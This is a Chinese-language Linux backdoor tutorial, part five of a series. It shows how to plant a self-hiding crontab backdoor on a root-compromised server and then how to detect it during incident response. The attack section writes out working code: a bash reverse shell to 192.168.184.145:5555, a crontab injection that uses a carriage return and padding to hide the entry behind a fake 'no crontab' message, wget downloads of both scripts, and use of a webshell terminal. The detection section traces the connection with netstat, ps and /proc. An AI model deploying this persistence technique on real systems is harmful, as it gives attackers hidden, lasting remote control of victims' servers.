LINUX留后门--教程(五)—— crontab隐藏后门

一、本教程作用

1、用在攻击的途径上
2、应急响应过程中,黑客会留后门,如果你连这种留后门方法都不会,怎么去应急?
不知攻,焉知防

二、crontab 隐藏后门-教程

前提条件: 假设在攻击的过程中通过利用各种getshell,已经拿到目标服务器root权限
环境: IP:192.168.184.142
IP:192.168.184.141、192.168.184.145

2.1 crontab 隐藏后门 shell 文件准备

好不容易拿下一个网站,以后还想继续使用该系统,通常都会留下一些后门,本次我们留下一个crontab隐藏后门
我们把1.sh、2.sh 文件放在本地搭建的web服务上,让受害者去下载执行

1.sh文件内容

#!/bin/bash
bash -i >& /dev/tcp/192.168.184.145/5555 0>&1
#反弹shell到IP地址:192.168.184.145

2.sh文件内容

(crontab -l;printf "* * * * * /home/w_w/1.sh;\rno crontw_wab for `whoami`%100c\n")|crontab -
#建立crontab隐藏后门

2.2 留crontab 隐藏后门

使用菜刀的虚拟终端 执行命令 cd /home/w_w/ 跳转到/home/w_w/目录下
LINUX留后门--教程(五)—— crontab隐藏后门
LINUX留后门--教程(五)—— crontab隐藏后门

kali打开监听端口,等待shll连接
LINUX留后门--教程(五)—— crontab隐藏后门
使用菜刀,执行命令下载1.sh与2.sh文件

wget http://192.168.184.1/1.sh
wget http://192.168.184.1/2.sh

LINUX留后门--教程(五)—— crontab隐藏后门
下载完1.sh与2.sh文件后,给bash文件添加执行权限

chmod 777 1.sh
chmod 777 2.sh

LINUX留后门--教程(五)—— crontab隐藏后门
最后执行2.sh文件,如果2.sh的命令成功执行则会返回如下图所示的提示“no crontab for root”,虽然是提示 root账户没有定时任务,但其实定时任务已经成功创建,

./2.sh

LINUX留后门--教程(五)—— crontab隐藏后门
过一分钟之后,kali监听的5555端口,会收到shell连接消息,crontab隐藏后门创建成功
LINUX留后门--教程(五)—— crontab隐藏后门

三、crontab隐藏后门——应急响应发现

3.1 查看异常连接文件的位置

第一步:
首先使用以下命令,查看服务器所有的连接

netstat -anpt

发现有两个异常连接,都是与192.168.184.145的5555端口通信的,根据经验猜测是反弹的shell
LINUX留后门--教程(五)—— crontab隐藏后门
第二步:
通过PID查看异常连接的进程,以及该进程正在执行的命令行命令

ps aux |grep 15011

发现是 bash 进程
LINUX留后门--教程(五)—— crontab隐藏后门
接下来查看PID 为 15011 的父进程

cat /proc/15011/status

发现父进程 PID 是15010
LINUX留后门--教程(五)—— crontab隐藏后门
接下来查看 PID 为 15010 的 进程,以及该进程正在执行的命令行命令

ps aux |grep 15010

发现是通过 /bin/bash 执行的 root目录下的1.sh文件 (此处为找到的第一个可疑文件)
LINUX留后门--教程(五)—— crontab隐藏后门

接下来查看PID 为 15010 的父进程

cat /proc/15010/status

发现父进程 PID 是15009
LINUX留后门--教程(五)—— crontab隐藏后门
接下来查看 PID 为 15009 的 进程,以及该进程正在执行的命令行命令

ps aux |grep 15009

发现是通过 /bin/bash -c 指定将命令转为一个完整命令执行
LINUX留后门--教程(五)—— crontab隐藏后门
接下来查看PID 为 15009 的父进程

cat /proc/15009/status

发现父进程 PID 是15007
LINUX留后门--教程(五)—— crontab隐藏后门
接下来查看 PID 为 15007 的 进程,以及该进程正在执行的命令行命令

ps aux |grep 15007

发现是 /usr/sbin/CROND -n 跟网站的定时任务相关的
LINUX留后门--教程(五)—— crontab隐藏后门
小结:
1、查看排查过程中发现的可疑文件 /root/1.sh ,发现其内容是反弹shell的命令,正式反弹到192.168.184.145的5555端口
LINUX留后门--教程(五)—— crontab隐藏后门

3.2 查看定时任务

crontab -l

显示root账户没有定时文件
LINUX留后门--教程(五)—— crontab隐藏后门
跟前面查看的 PID 为 15007 的 进程执行命令存在冲突,PID 为 15007 明明执行的是 定时任务的命令 /usr/sbin/CROND -n
那么只能去查看 root账户是否存在定时任务文件

cd /var/spool/cron
cat root
vi root

发现是crontab隐藏后门,只能通过 vi 命令进行查看,隐藏的很完美啊,在最下面找到了
LINUX留后门--教程(五)—— crontab隐藏后门
更多资源:
1、web安全工具、渗透测试工具
2、存在漏洞的网站源码与代码审计+漏洞复现教程、
3、渗透测试学习视频、应急响应学习视频、代码审计学习视频、都是2019-2021年期间的较新视频
4、应急响应真实案例复现靶场与应急响应教程
收集整理在知识星球,可加入知识星球进行查看。也可搜索关注微信公众号:W小哥
LINUX留后门--教程(五)—— crontab隐藏后门

上一篇:Linux入侵排查思路


下一篇:进程和计划任务管理